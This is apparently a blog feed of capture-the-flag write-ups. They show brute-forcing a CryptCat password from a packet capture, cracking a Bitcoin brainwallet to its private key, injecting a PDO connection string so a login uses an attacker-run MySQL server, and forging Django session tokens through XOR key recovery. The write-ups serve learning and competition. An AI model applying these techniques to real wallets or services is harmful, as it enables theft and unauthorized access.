<p><code>Note</code>: i've used <code>-w 1</code> to set a timeout, otherwise when the password was correct it keeps the connection opened.</p>

<p>Now we back to PCAP and extracted the <code>1st encrypted chunk</code>. If we can decrypt it we will got a known file header confirming the decryption success.</p>

<p><img src="http://dann.com.br/content/images/2017/09/Selection_999-1828-.png" alt="GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)"></p>

<p>So, we launched a endless loop acting as client sending the encrypted chunk..</p>

<pre><code class="language-bash">$ while true; do nc 127.0.0.1 6345 &lt; 1stchunk; done
</code></pre>

<p>
<strong>Note</strong>: We are using <code>netcat</code> instead <code>CryptCat</code> because this chunk already is encrypted, we don't want to encrypt again, right?</p>

<p>On the server side we launched a <code>multi-thread</code> python bruteforce script, it will run until we get some decrypted data!</p>

<script src="https://gist.github.com/intrd/b26d3b24c817073c2bca9e4899cd08cc.js"></script>

<p>And done, the script found the password <code>freedom246</code> on <code>rockyou.txt</code>! We also have the 1st chunk decrypted.. </p>

<p><img src="http://dann.com.br/content/images/2017/09/Selection_999-1834-.png" alt="GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)"></p>

<blockquote>
  <p>With <code>20 threads</code> it stills took some time because the bottleneck on the client side single thread. (if you did it in a smarter way, plz let me know).</p>
</blockquote>

<p>Now, with the password we can decrypt every chunk and merge it in a single file.</p>

<p>ops.. <br>
<img src="http://dann.com.br/content/images/2017/09/Selection_999-1832-.png" alt="GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)">
not yet!</p>

<p>If you try to send the entire conversation to it, the 57kb, it overflow the Cryptcat <code>buffer[8192]</code> and returns a <code>Segmentation fault</code>.</p>

<p>I've tried a lot to split it into chunks of 8192 bytes, it works but we have some problem w/ PNG IDAT and CRC shit.</p>

<p>So, the solution we found was to patch the CryptCat to allow a bigger buffer. To do this..</p>

<p>Download the <a href="http://cryptcat.sourceforge.net/">http://cryptcat.sourceforge.net/</a> source.</p>

<p>On <code>netcat.c</code> increase the <code>BIGSIZ</code> size <code>8192</code> to <code>9193</code>...</p>

<p><img src="http://dann.com.br/content/images/2017/09/Selection_999-1842-.png" alt="GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)"></p>

<p>On <code>farm9crypt.cc</code> also increase the <code>outBuffer</code>, <code>inBuffer</code> and <code>size</code> size..</p>

<p><img src="http://dann.com.br/content/images/2017/09/Selection_999-1843-.png" alt="GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)"></p>

<p>Recompile w/ <code>make linux</code>..</p>

<p>Now just send the entire dump..</p>

<p><img src="http://dann.com.br/content/images/2017/09/Selection_999-1844-.png" alt="GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)"></p>

<p>..do it to retrieve the <code>cry t0k3n</code>.</p>

<p><img src="http://dann.com.br/content/images/2017/09/flag.png" alt="GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)"></p>

<h2 id="references">References</h2>

<ul>
<li>Cryptcat, The standard netcat enhanced with twofish encryption with ports for WIndows NT, BSD and Linux - <a href="http://cryptcat.sourceforge.net/">http://cryptcat.sourceforge.net/</a> </li>
<li>h3x_pr0ph3ts team, <a href="https://www.cyberlympics.org/?portfolio=team-h3x-pr0ph3ts-2017">https://www.cyberlympics.org/?portfolio=team-h3x-pr0ph3ts-2017</a></li>
<li>nc linux man page, <a href="https://linux.die.net/man/1/nc">https://linux.die.net/man/1/nc</a></li>
<li>Another solution(by v0s) to bruteforce cryptcat twofish key -
<a href="https://gist.github.com/v0s/002f1c7cc6dca258417c19a1eabff858">https://gist.github.com/v0s/002f1c7cc6dca258417c19a1eabff858</a></li>
</ul>]]></content:encoded></item><item><title><![CDATA[GCL-Prequals 2017 : Cracking Agent Smith bitcoin wallet from public key]]></title><description><![CDATA[<p>This weekend I helped the team of friends, <code>H3x Pr0ph3ts</code> in Global Cyberlympics Pre-Quals. At some point of the competition we found this file containing a Bitcoin Paper Wallet addressed to Agent Smith</p>

<p><img src="http://dann.com.br/content/images/2017/08/photo_2017-08-12_06-51-23.jpg" alt=""></p>

<h3 id="bitcoinwallets">Bitcoin wallets</h3>

<ul>
<li>Private key, a single unsigned 256 bit integer (32 bytes)</li>
<li>Public key, a number that</li></ul>]]></description><link>http://dann.com.br/gcl-prequals-2017-cracking-agent-smith-bitcoin-wallet/</link><guid isPermaLink="false">da60ba51-4f60-4ca6-8f8e-12e812e652f3</guid><category><![CDATA[cryptography]]></category><category><![CDATA[bitcoin]]></category><category><![CDATA[bruteforce]]></category><category><![CDATA[gclprequals2k17]]></category><dc:creator><![CDATA[intrd]]></dc:creator><pubDate>Sun, 13 Aug 2017 03:46:00 GMT</pubDate><media:content url="http://dann.com.br/content/images/2017/08/Selection_999-1324-.png" medium="image"/><content:encoded><![CDATA[<img src="http://dann.com.br/content/images/2017/08/Selection_999-1324-.png" alt="GCL-Prequals 2017 : Cracking Agent Smith bitcoin wallet from public key"><p>This weekend I helped the team of friends, <code>H3x Pr0ph3ts</code> in Global Cyberlympics Pre-Quals. At some point of the competition we found this file containing a Bitcoin Paper Wallet addressed to Agent Smith</p>

<p><img src="http://dann.com.br/content/images/2017/08/photo_2017-08-12_06-51-23.jpg" alt="GCL-Prequals 2017 : Cracking Agent Smith bitcoin wallet from public key"></p>

<h3 id="bitcoinwallets">Bitcoin wallets</h3>

<ul>
<li>Private key, a single unsigned 256 bit integer (32 bytes)</li>
<li>Public key, a number that corresponds to a private key, but does not need to be kept secret.</li>
</ul>

<blockquote>
  <p>A public key can be calculated from a private key, but not vice versa. </p>
</blockquote>

<p>Looking at the image, our objective is recover the private key in a way to import into a new wallet to take control of Agent Smith funds. (Or just post it as flag).</p>

<p>The public key is not properly blurred, we can read it.. but the private key is unreadable(maybe not for <a href="https://img.vos.uz/9px67la4.jpg">this guy</a> who almost recovered the private key from blurry qrcode).</p>

<p>Bitcoin wallets are secure and is impossible to recover the private key if it was properly random generated. My thoughts is they used a Brain Wallet, a bitcoin wallet derived from a Passphrase, a password easy to memorize.</p>

<h3 id="whatistheproblemwithbrainwallets">What is the problem with Brain Wallets?</h3>

<blockquote>
  <p>Brain wallets can be brute forced because it is based on a simple password, and to make it worse, humans love to reuse passwords.</p>
</blockquote>

<p>To help with the task i've used a <a href="https://github.com/ryancdotorg/brainflayer">tool</a> created by Ryan Castellucci, he made a <a href="https://www.youtube.com/watch?v=foil0hzl4Pg">awesome talk @ DEFCON 23</a> about this.</p>

<p>Before input the public address in <a href="http://https://github.com/ryancdotorg/brainflayer">brainflayer</a> we need to follow the reverse path of <a href="https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses">creating a bitcoin wallet</a>. The first task is extract the <a href="http://bitcoinvalued.com/tools.php">Hash160 from pubkey</a> public address.</p>

<p><img src="http://dann.com.br/content/images/2017/08/Selection_999-1319-.png" alt="GCL-Prequals 2017 : Cracking Agent Smith bitcoin wallet from public key"></p>

<ul>
<li><strong>Pubkey(b58c)</strong>: 175sZR2eBf6JapbxWZFJk3qeicUsg3Atqr</li>
<li><strong>Hash160</strong>: 42BC9F7ABBE700EA1E105D9877E6DE82F77F370B</li>
</ul>

<p>From this <code>HEX</code>, pre-compute the <code>BLF</code>..</p>

<pre><code class="language-bash">$ echo 175sZR2eBf6JapbxWZFJk3qeicUsg3Atqr &gt; ex2.hex
$ hex2blf ex2.hex ex2.blf
</code></pre>

<p>And run brainflayer against it using a common password list, my first try was the classic <code>rockyou.txt</code></p>

<p><img src="http://dann.com.br/content/images/2017/08/Selection_999-1320-.png" alt="GCL-Prequals 2017 : Cracking Agent Smith bitcoin wallet from public key"></p>

<p>Bingo!  </p>

<pre>
42bc9f7abbe700ea1e105d9877e6de82f77f370b:u:sha256:itsasecret
</pre>

<p><code>itsasecret</code> is a passphrase used to create the brainwallet.</p>

<p>..now create a <a href="https://brainwalletx.github.io/#generator">new brain wallet</a> w/ the recovered passphrase</p>

<p><img src="http://dann.com.br/content/images/2017/08/Selection_999-1322-.png" alt="GCL-Prequals 2017 : Cracking Agent Smith bitcoin wallet from public key"></p>

<p>Take the secret exponent and keep following the reverse path of <a href="https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses">creating a bitcoin wallet</a>, the final step is to convert it to <code>Base58Check</code></p>

<p><img src="http://dann.com.br/content/images/2017/08/Selection_999-1323-.png" alt="GCL-Prequals 2017 : Cracking Agent Smith bitcoin wallet from public key"></p>

<p>Now you have a valid bitcoin wallet privkey. You can import it to a wallet and recover A. Smith funds.</p>

<p><strong>FLAG</strong>: 5J4whis157ZkfhPa1CfEzExR4VE7HGRx3fYBYNe73dGMPyrG2Hg </p>

<p><img src="http://dann.com.br/content/images/2017/08/photo_2017-08-12_02-25-05.jpg" alt="GCL-Prequals 2017 : Cracking Agent Smith bitcoin wallet from public key"></p>

<h2 id="references">References</h2>

<ul>
<li><a href="https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses">Technical background of version 1 Bitcoin addresses</a></li>
<li><a href="https://www.youtube.com/watch?v=foil0hzl4Pg">DEF CON 23 - Ryan Castellucci - Cracking CryptoCurrency Brainwallets</a></li>
<li><a href="https://github.com/ryancdotorg/brainflayer">A proof-of-concept cracker for cryptocurrency brainwallets</a></li>
<li><a href="http://bitcoinvalued.com/tools.php">http://bitcoinvalued.com/tools.php</a></li>
<li><a href="https://brainwalletx.github.io/#generator">https://brainwalletx.github.io/#generator</a></li>
</ul>]]></content:encoded></item><item><title><![CDATA[SHX13 : web300-restricted_area]]></title><description><![CDATA[<p>Give me the flag.</p>

<p>To start your challenge environment: <a href="https://shellterlabs.com/en/ctf-master/shellter-hacking-express-master/shx-13/shx13-restricted-area/">https://shellterlabs.com/en/ctf-master/shellter-hacking-express-master/shx-13/shx13-restricted-area/</a></p>

<h2 id="solution">Solution</h2>

<p><img src="http://dann.com.br/content/images/2017/07/Selection_999-777-.png" alt=""></p>

<p>A simple login form was presented to us..</p>

<p>I started the recon checking the HTTP methods, directory/file bruteforce, SQLi tests, found nothing suspect.</p>

<p>But when fuzzing the postdata <code>uname=test&amp;</code></p>]]></description><link>http://dann.com.br/shx13-web300-restricted_area/</link><guid isPermaLink="false">39017e11-bed2-4e0e-846b-67536179ad41</guid><category><![CDATA[web security]]></category><category><![CDATA[php]]></category><category><![CDATA[shx13]]></category><category><![CDATA[PDOException]]></category><category><![CDATA[database control]]></category><category><![CDATA[login bypass]]></category><dc:creator><![CDATA[intrd]]></dc:creator><pubDate>Tue, 04 Jul 2017 14:53:44 GMT</pubDate><media:content url="http://dann.com.br/content/images/2017/07/Selection_999-798-.png" medium="image"/><content:encoded><![CDATA[<img src="http://dann.com.br/content/images/2017/07/Selection_999-798-.png" alt="SHX13 : web300-restricted_area"><p>Give me the flag.</p>

<p>To start your challenge environment: <a href="https://shellterlabs.com/en/ctf-master/shellter-hacking-express-master/shx-13/shx13-restricted-area/">https://shellterlabs.com/en/ctf-master/shellter-hacking-express-master/shx-13/shx13-restricted-area/</a></p>

<h2 id="solution">Solution</h2>

<p><img src="http://dann.com.br/content/images/2017/07/Selection_999-777-.png" alt="SHX13 : web300-restricted_area"></p>

<p>A simple login form was presented to us..</p>

<p>I started the recon checking the HTTP methods, directory/file bruteforce, SQLi tests, found nothing suspect.</p>

<p>But when fuzzing the postdata <code>uname=test&amp;pword=test123&amp;group=users</code> the server crashed and i need to restart the environment..</p>

<p>Noticed this happens only when the <code>group</code> field data is changed. Changing it to everything different from <code>users</code> returned a PDO error <code>PDOException :: 1049</code></p>

<pre><code class="language-bash">curl -i -s -k  -X 'POST' \  
    -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0' -H 'Referer: http://lab.shellterlabs.com:32849/' -H 'DNT: 1' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' \
    -b 'PHPSESSID=i1vki30916t1r7bjaprovmsi31' \
    --data-binary $'uname=test&amp;pword=test123&amp;group=usersAAA' \
    'http://lab.shellterlabs.com:32849/login.php'
</code></pre>

<p><img src="http://dann.com.br/content/images/2017/07/Selection_999-795-.png" alt="SHX13 : web300-restricted_area"></p>

<p><code>1049</code> error code means <code>unknown database</code></p>

<p>Nice, we can control the choosen database, you can confirm this trying to select some built-in MySQL database like <code>sys</code></p>

<p><img src="http://dann.com.br/content/images/2017/07/Selection_999-796-.png" alt="SHX13 : web300-restricted_area"></p>

<p>As you can see, no PDO error!</p>

<p>Well, searching for php PDO documentation I found this reference..</p>

<pre><code class="language-php">&lt;?php  
/* Connect to a MySQL database using driver invocation */
$dsn = 'mysql:dbname=testdb;host=127.0.0.1';
$user = 'dbuser';
$password = 'dbpass';

try {  
    $dbh = new PDO($dsn, $user, $password);
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e-&gt;getMessage();
}

?&gt;
</code></pre>

<p>A PDO connection sample.. maybe we can have full control of <code>$dsn</code>. Let's give a try..</p>

<pre><code>Payload: uname=test&amp;pword=test123&amp;group=users;host=127.0.0.1  
Answer: PDOException :: 1130  
</code></pre>

<p>Hmm, error code changed to <code>1130</code>, it means <code>not allowed to connect to this MySQL server</code>. Awesome! we can point it to connect at any IP!</p>

<p>Obviously i launched a locally <code>netcat listening at port 3000</code>, and tried to get a reverse connection w/ this payload <code>uname=test&amp;pword=test123&amp;group=sad;host=MY_IP;port=3000</code></p>

<p><img src="http://dann.com.br/content/images/2017/07/Selection_999-794-.png" alt="SHX13 : web300-restricted_area"></p>

<p>Bam! the Shellter server is trying to connect here and when I close netcat connection it return another error code <code>PDOException :: 2013</code> which means <code>Lost connection to MySQL server</code></p>

<p>Then I setup a <code>MySQL server</code> locally and launched <code>wireshark</code> to see what's happening in raw background..</p>

<p><img src="http://dann.com.br/content/images/2017/07/Selection_999-784-.png" alt="SHX13 : web300-restricted_area"></p>

<p>The server is trying to authenticate here with <code>pdo_user</code>, and some password we don't know..</p>

<p><img src="http://dann.com.br/content/images/2017/07/Selection_999-801-.png" alt="SHX13 : web300-restricted_area"></p>

<p>.. the password is hashed to <code>XXXXXXXXXXX2f337c1f8f458c8c8929e370dc494</code>, tried to crack w/ some common passwords and masks but no success.</p>

<p>I've created the <code>pdo_user</code>, but how to solve the password problem? The server needs to authenticate here before start sending queries, it's explicit <code>(using pass word: YES)</code></p>

<blockquote>
  <p>Time ago while working w/ MySQL, I remember a situation where I lost the root password, then I've used a command line argument to launch <code>mysqld</code> disabling <code>grants</code>, then was possible to access all my database sending null/invalid passwords.</p>
</blockquote>

<p><code>mysqld --skip-grant-tables</code></p>

<p>..now the server authenticated and start doing some queries..</p>

<p><img src="http://dann.com.br/content/images/2017/07/Selection_999-786-.png" alt="SHX13 : web300-restricted_area"></p>

<p>Perfect.. all we need to do now is create a database users with username/password structure and insert our valid user..</p>

<pre><code class="language-mysql">INSERT INTO `users` (`username`, `password`) VALUES ('test', 'test123');  
</code></pre>

<p>No more error, and now we got a <code>302</code> redirection to a page different from <code>index.php</code></p>

<p><img src="http://dann.com.br/content/images/2017/07/Selection_999-800-.png" alt="SHX13 : web300-restricted_area"></p>

<p>We are logged into the system, and here is our flag!</p>

<p><img src="http://dann.com.br/content/images/2017/07/Selection_999-793-.png" alt="SHX13 : web300-restricted_area"></p>

<p>As always.. awesome challenge <a href="http://shellterlabs.com">ShellterLabs</a></p>

<h2 id="references">References</h2>

<ul>
<li>PDO Connections and Connection management -
<a href="http://php.net/manual/en/pdo.connections.php">http://php.net/manual/en/pdo.connections.php</a></li>
<li>PDO::errorCode - <a href="http://php.net/manual/en/pdo.errorcode.php">http://php.net/manual/en/pdo.errorcode.php</a></li>
</ul>]]></content:encoded></item><item><title><![CDATA[SHX11 : stego200-brazil_icon]]></title><description><![CDATA[<p>There is something wrong with this icon.</p>

<p><img src="https://shellter-static.s3.amazonaws.com/media/files/fe43fc7c-d77b-4cde-a76e-91df6eecf61a.ico" alt=""></p>

<h2 id="solution">Solution</h2>

<p>There's a Brazilian icon flag..</p>

<p><img src="http://dann.com.br/content/images/2017/06/Selection_999-351-.png" alt=""></p>

<p>With a <code>ZIP</code> file inside. So, I dumped the ZIP and tried to extract..</p>

<p><img src="http://dann.com.br/content/images/2017/06/Selection_999-353-.png" alt=""></p>

<p>Nope! requires a password, and i have no clue where found it.</p>

<p>So I launched the hex-editor to do a deep look into</p>]]></description><link>http://dann.com.br/shx11-stego200-brazil_icon/</link><guid isPermaLink="false">f4d6fa08-725d-47f1-a68b-adf4a0eb9e5e</guid><category><![CDATA[steganography]]></category><category><![CDATA[shx11]]></category><category><![CDATA[ctf]]></category><dc:creator><![CDATA[intrd]]></dc:creator><pubDate>Mon, 05 Jun 2017 13:07:08 GMT</pubDate><media:content url="http://dann.com.br/content/images/2017/06/Selection_999-365-.png" medium="image"/><content:encoded><![CDATA[<img src="http://dann.com.br/content/images/2017/06/Selection_999-365-.png" alt="SHX11 : stego200-brazil_icon"><p>There is something wrong with this icon.</p>

<p><img src="https://shellter-static.s3.amazonaws.com/media/files/fe43fc7c-d77b-4cde-a76e-91df6eecf61a.ico" alt="SHX11 : stego200-brazil_icon"></p>

<h2 id="solution">Solution</h2>

<p>There's a Brazilian icon flag..</p>

<p><img src="http://dann.com.br/content/images/2017/06/Selection_999-351-.png" alt="SHX11 : stego200-brazil_icon"></p>

<p>With a <code>ZIP</code> file inside. So, I dumped the ZIP and tried to extract..</p>

<p><img src="http://dann.com.br/content/images/2017/06/Selection_999-353-.png" alt="SHX11 : stego200-brazil_icon"></p>

<p>Nope! requires a password, and i have no clue where found it.</p>

<p>So I launched the hex-editor to do a deep look into this..</p>

<p><img src="http://dann.com.br/content/images/2017/06/Selection_999-354-.png" alt="SHX11 : stego200-brazil_icon"></p>

<p>Here's our <code>ZIP</code>, starting by the hex signature <code>50 4B 03 04</code>, and a lot of junk below..</p>

<p>You can see this clealy dumping the hex and adjusting the columns</p>

<pre><code class="language-bash">$ xxd -c 76 ico.ico &gt; xxx
</code></pre>

<p><img src="http://dann.com.br/content/images/2017/06/Selection_999-355-.png" alt="SHX11 : stego200-brazil_icon"></p>

<p>At the first sight I thought it was a reflection of the bytes used to create the ICO file..</p>

<p><img src="http://dann.com.br/content/images/2017/06/Selection_999-364-.png" alt="SHX11 : stego200-brazil_icon"></p>

<p>But no, this is an ASCII Art generated from the .ico image and strategically added to the end of the file, if you remove this, the ico still working displaying the Brazilian flag.</p>

<p>So, I've started removing/filling w/ zero bytes the zipfile and all that could be junk to see what happens w/ the ICO..</p>

<p><img src="http://dann.com.br/content/images/2017/06/Selection_999-358-.png" alt="SHX11 : stego200-brazil_icon"></p>

<p>After A LOT of tries.. BAM! I can see <code>another ICO beyond the Brazilian flag</code>, this icon showed the <code>password prefix</code> of the ZIP file, then the brute-force becomes easy!</p>

<p><img src="http://dann.com.br/content/images/2017/06/Selection_999-360-.png" alt="SHX11 : stego200-brazil_icon"></p>

<p>The flag..</p>

<p><img src="http://dann.com.br/content/images/2017/06/Selection_999-361-.png" alt="SHX11 : stego200-brazil_icon"></p>

<p>I'm not sure if this was the correct correct way to solve it, but it worked!</p>

<h2 id="solutionupdate">Solution update</h2>

<p>After scored the flag I talked w/ the admin, and I really solved w/ a lot of overthink(like always..). </p>

<blockquote>
  <p>This icon w/ the password is concatenated at the end of the file! </p>
</blockquote>

<p>But it may be tricky to cut because the ICO signature is <code>00 00 01 00</code> and it can be found at the <code>footer</code> of the every ZIP file. This complicated my attempts to crop the icon.</p>

<blockquote>
  <p>You need to figure out the footer of ZIP file and the header of ICO file to start the crop. </p>
</blockquote>

<p>And that ASCII art? Is not an ASCII art, It was generated by ICO like as I was thinking..</p>]]></content:encoded></item><item><title><![CDATA[SHX10 : web200-read_my_email]]></title><description><![CDATA[<p>Can you read the admin's email? <br>
User: billy <br>
Pass: TheKid</p>

<h2 id="solution">Solution</h2>

<p>There's a mail system, if you input the given credentials..</p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_999-094-.png" alt=""></p>

<p>..it will login and display a email sent from administrador.</p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_999-096-.png" alt=""></p>

<p>...</p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_999-095-.png" alt=""></p>

<p>I dug up the system and found no other functionality. </p>

<p>So, to read the email you do this <code>POST</code></p>]]></description><link>http://dann.com.br/shx10-web200-read_my_email/</link><guid isPermaLink="false">3ff1673f-df6f-43e2-b5e1-da9669da814e</guid><category><![CDATA[shx10]]></category><category><![CDATA[web security]]></category><category><![CDATA[django]]></category><category><![CDATA[code leak]]></category><category><![CDATA[debug]]></category><category><![CDATA[stream cipher]]></category><category><![CDATA[ctf]]></category><dc:creator><![CDATA[intrd]]></dc:creator><pubDate>Wed, 24 May 2017 04:31:19 GMT</pubDate><media:content url="http://dann.com.br/content/images/2017/05/Selection_999-083--1.png" medium="image"/><content:encoded><![CDATA[<img src="http://dann.com.br/content/images/2017/05/Selection_999-083--1.png" alt="SHX10 : web200-read_my_email"><p>Can you read the admin's email? <br>
User: billy <br>
Pass: TheKid</p>

<h2 id="solution">Solution</h2>

<p>There's a mail system, if you input the given credentials..</p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_999-094-.png" alt="SHX10 : web200-read_my_email"></p>

<p>..it will login and display a email sent from administrador.</p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_999-096-.png" alt="SHX10 : web200-read_my_email"></p>

<p>...</p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_999-095-.png" alt="SHX10 : web200-read_my_email"></p>

<p>I dug up the system and found no other functionality. </p>

<p>So, to read the email you do this <code>POST</code> request:</p>

<pre><code class="language-python">POST /viewmail/ HTTP/1.1  
Host: lab.shellterlabs.com:32867  
Content-Length: 63  
Cache-Control: max-age=0  
Origin: http://lab.shellterlabs.com:32867  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36  
Content-Type: application/x-www-form-urlencoded  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Referer: http://lab.shellterlabs.com:32867/  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.8  
Cookie: sessionid="billy:6405552caf11c7b1aa5b18a3346ae1f13eafa516"; csrftoken=s3iaLUoYZpWFkJaaMjvj8YOsCATokC9e  
Connection: close

csrfmiddlewaretoken=s3iaLUoYZpWFkJaaMjvj8YOsCATokC9e&amp;email_id=1  
</code></pre>

<p>The <code>csrfmiddlewaretoken</code> has not working here, It just need to be equal the cookie <code>csrftoken</code>. But when you change the <code>sessionid</code> on <code>cookie</code> the request will fail:</p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_999-097-.png" alt="SHX10 : web200-read_my_email"></p>

<p>Well, the challenge consists in read the email of the administrator. The footer gives the clue, the <strong>SHX Mail Administrator</strong> username is <code>nealcaffrey</code>.</p>

<p>To read the <code>nealcaffrey</code> email we need to forge his <code>sessionid</code>, but how?</p>

<p>I started by fuzzing the form fields and when I sent some symbols it triggered a <code>django debuggin page</code> displaying details from an exception and <code>leaking</code> part of the <code>source code</code>.</p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_999-099-.png" alt="SHX10 : web200-read_my_email"></p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_999-100-.png" alt="SHX10 : web200-read_my_email"></p>

<p>Nice, the administrator forgotten to disable <code>Debug</code> in a production environment, very common..</p>

<pre><code class="language-python">def generate_session_token(username):  
    user_hash = sha1(username).digest()
    return stream_cipher(user_hash).encode('hex')
</code></pre>

<p>This code is showing us how the <code>sessionid</code> is created:</p>

<ul>
<li>The <code>user_hash</code> is the <code>hex</code> of <code>sha1("billy")</code></li>
<li><code>sessionid</code> is the <code>hex</code> result of some <code>Stream Cipher</code> algorithm over the <code>user_hash</code></li>
</ul>

<h2 id="whatisastreamcipher">What is a Stream Cipher?</h2>

<p><strong>Wikipedia says</strong>: A stream cipher is a symmetric key cipher where plaintext digits are combined with a pseudorandom cipher digit stream (keystream). In a stream cipher, each plaintext <code>digit is encrypted one at a time</code> with the corresponding digit of the keystream, to give a digit of the ciphertext stream. </p>

<p>We don't know which algorithm is used, there's so much popular stream cipher algorithms out there, but the most common one is a simple <code>XOR byte-per-byte</code> and I bet the challenger used it. But to test it we need first recover the key used in encryption.</p>

<h3 id="recoveringthekeyandtheflag">Recovering the key and the flag</h3>

<ul>
<li>Create the <code>billy_user_hash</code></li>
<li><strong>XOR byte-per-byte</strong> <code>billy_user_hash</code> with <code>sessionid_hash</code></li>
<li>Now we can <strong>XOR</strong> the <code>key</code> with any <code>username_user_hash</code>, including <code>nealcaffrey_user_hash</code> to get a valid <code>admin sessionid</code></li>
</ul>

<h3 id="finalscript">Final script</h3>

<script src="https://gist.github.com/intrd/d7a0c03fc50b4d30a7ba9945555712a7.js"></script>

<blockquote>
  <p>Just for note, you can replace this <code>xor_bytearray()</code> function and part of this code by a simple <code>hex(hex1 ^ hex2)</code>, because Python do a <code>xor byte-wise</code> by default in HEX values!</p>
</blockquote>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_999-101-.png" alt="SHX10 : web200-read_my_email"></p>

<p>..and the flag</p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_999-103-.png" alt="SHX10 : web200-read_my_email"></p>

<p>Thanks <strong>ShellterLabs</strong> and <strong>RoboCore</strong>, awesome contest!</p>]]></content:encoded></item><item><title><![CDATA[SHX10 : misc100-thx]]></title><description><![CDATA[<p>Can you read the flag?</p>

<h2 id="solution">Solution</h2>

<p>So, i've received only the image <code>shuffled.png</code></p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_999-075-.png" alt=""></p>

<p>It seems that the challenger pasted the flag four times then shuffled it somehow..</p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_999-076-.png" alt=""></p>

<p>Taking a closer look we can see what possibly happened. The image was cutted in <code>1px</code> lines then shuffled!</p>

<p>Well, we need</p>]]></description><link>http://dann.com.br/shx10-misc100-thx/</link><guid isPermaLink="false">77318f0b-877e-4de4-9734-101a7d708d11</guid><category><![CDATA[python]]></category><category><![CDATA[shx10]]></category><category><![CDATA[pil]]></category><category><![CDATA[programming]]></category><category><![CDATA[image manipulation]]></category><category><![CDATA[ctf]]></category><dc:creator><![CDATA[intrd]]></dc:creator><pubDate>Tue, 23 May 2017 01:24:00 GMT</pubDate><media:content url="http://dann.com.br/content/images/2017/05/Selection_999-083-.png" medium="image"/><content:encoded><![CDATA[<img src="http://dann.com.br/content/images/2017/05/Selection_999-083-.png" alt="SHX10 : misc100-thx"><p>Can you read the flag?</p>

<h2 id="solution">Solution</h2>

<p>So, i've received only the image <code>shuffled.png</code></p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_999-075-.png" alt="SHX10 : misc100-thx"></p>

<p>It seems that the challenger pasted the flag four times then shuffled it somehow..</p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_999-076-.png" alt="SHX10 : misc100-thx"></p>

<p>Taking a closer look we can see what possibly happened. The image was cutted in <code>1px</code> lines then shuffled!</p>

<p>Well, we need to unshuffle it, but how? Doing by hand is not an option.</p>

<p>I started by cropping it from image..</p>

<p><img src="http://dann.com.br/content/images/2017/05/shuffled1.png" alt="SHX10 : misc100-thx"></p>

<p>..then, wrote a script to:</p>

<ul>
<li>slice the image line by line, 1px of height</li>
<li>put filenames into an array</li>
<li>shuffle the array</li>
<li>rejoin the pieces</li>
<li>loop it <strong>N</strong> times and join the results</li>
</ul>

<script src="https://gist.github.com/intrd/4cc3eab3a5d8cf815ca69b2616000f4a.js"></script>

<p><strong>Sliced samples</strong></p>

<p><img src="http://dann.com.br/content/images/2017/05/slice_test1_93.png" alt="SHX10 : misc100-thx">
<img src="http://dann.com.br/content/images/2017/05/slice_test1_92.png" alt="SHX10 : misc100-thx">
<img src="http://dann.com.br/content/images/2017/05/slice_test1_91.png" alt="SHX10 : misc100-thx">
<img src="http://dann.com.br/content/images/2017/05/slice_test1_90.png" alt="SHX10 : misc100-thx">
<img src="http://dann.com.br/content/images/2017/05/slice_test1_89.png" alt="SHX10 : misc100-thx"></p>

<h3 id="result">Result</h3>

<p>The result is <code>flag.jpg</code>, a big file w/ 100 iterations..</p>

<p><img src="http://dann.com.br/content/images/2017/05/result.gif" alt="SHX10 : misc100-thx"></p>

<p>And luckly you will get a readable iteration..</p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_999-082-.png" alt="SHX10 : misc100-thx"></p>

<p>if not, try again until you get!</p>

<blockquote>
  <p>The title tip <code>Thx</code> helped me a lot!</p>
</blockquote>

<h2 id="references">References</h2>

<ul>
<li>Stackoverflow - Cutting one image into multiple images using the Python Image Library -
<a href="https://stackoverflow.com/questions/6059217/cutting-one-image-into-multiple-images-using-the-python-image-library">https://stackoverflow.com/questions/6059217/cutting-one-image-into-multiple-images-using-the-python-image-library</a></li>
<li>Stackoverflow -
Combine several images horizontally with Python
-
<a href="https://stackoverflow.com/questions/30227466/combine-several-images-horizontally-with-python">https://stackoverflow.com/questions/30227466/combine-several-images-horizontally-with-python</a></li>
</ul>]]></content:encoded></item><item><title><![CDATA[CryptoRave 2017: web200-bugpress]]></title><description><![CDATA[<p>Você tem um blog Wordpress e uma sensação de falta de patch... <br>
Link: <a href="http://34.202.17.29/">http://34.202.17.29/</a> <br>
OBS: A flag está no formato CR2017{flag}</p>

<h2 id="solution">Solution</h2>

<p><mark>TL;DR</mark></p>

<p><a href="https://www.linkedin.com/in/marciorag/">marcioRAGarcia</a> hosted a mailserver w/ a catch-all mailbox and we exploited 
